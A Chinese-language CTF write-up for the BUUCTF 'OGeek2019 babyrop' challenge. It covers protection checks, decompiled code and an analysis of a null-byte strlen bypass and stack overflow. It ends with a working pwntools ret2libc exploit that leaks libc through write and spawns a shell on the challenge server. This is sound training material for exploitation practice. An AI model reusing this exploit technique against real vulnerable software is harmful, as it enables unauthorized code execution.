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  • PWN

    • test your nc
    • rip
    • warmup csaw 2016
    • ciscn 2019 n 1
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    • ciscn 2019 c 1
    • 第五空间2019 决赛 PWN5
    • ciscn 2019 n 8
    • jarvisoj level2
    • OGeek2019 babyrop
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • get started 3dsctf 2016
    • bjdctf 2020 babystack
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    • HarekazeCTF2019 baby rop
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  • 笔记
  • PWN
Zephyr
2022-03-21
目录

OGeek2019 babyrop

# OGeek2019 babyrop

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/OGeek2019_babyrop/pwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
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# 静态分析

主函数如下

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}
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sub_804871F函数如下

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}
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sub_80487D0函数如下

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}
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Gadget

ROPgadget --binary pwn --string "/bin/sh\x00"                             
Strings information
============================================================
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# 思路分析

  1. 程序分析:
    • 程度首先获取一个随机数,将该值用strlen函数与输入数据进行对比,不同则会终止程序,若相同则将v5返回,作为sub_80487D0函数的参数,若v5=127,则可以为buf写入0xC8字节数据,否则写入v5长度的数据
  2. 目前信息:
    • plt表内没有system
    • 程序本体内并没有/bin/sh字符串
    • No PIE
  3. 思路
    • 若能控制sub_80487D0函数的实参v2就可以实现超长字符写入造成栈溢出覆盖返回地址
    • v2是sub_804871F函数的返回值,在该函数内的输入点buf处是可以写入0x20字节的数据,虽然不够直接覆盖返回地址,但还是可以实现溢出修改上方v5即最后返回的值
    • 但要成功返回v5还要绕过与随机字符串比较的的过程,这里通过strlen函数遇到\0即终止并返回的特性,构造首位是\0的特殊输入数据绕过对比失败后的程序退出
    • 因该题plt表内并无system函数,也无/bin/sh字符串,所以应该首先泄漏libc和对应函数地址,利用泄漏到的信息,二次溢出获得shell

# exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/OGeek2019_babyrop/pwn'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 29092)
elf = ELF(pwnfile)
payload = flat(['\0'*7, 255])
# 前置\0绕过推出,v5覆盖为255
io.sendline(payload)
io.recvuntil("Correct\n")
padding = 0xe7+4
main_addr = 0x8048825
write_plt = 0x8048578
write_got = 0x8049FEC
payload = flat(['a'*padding, write_plt, main_addr, 1, write_got, 4])
io.sendline(payload)
leak_write_addr = u32(io.recv(4))  # write真实地址
libc = LibcSearcher('write', leak_write_addr)
# 泄漏libc
libcbase = leak_write_addr-libc.dump('write')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
payload = flat(['\0'*7, 255])
io.sendline(payload)
io.recvuntil("Correct\n")
payload = flat(['a'*padding, system_addr, 0xdeadbeef, bin_sh_addr])
# 获得shell
io.send(payload)
io.interactive()
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#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
jarvisoj level2
get started 3dsctf 2016

← jarvisoj level2 get started 3dsctf 2016→

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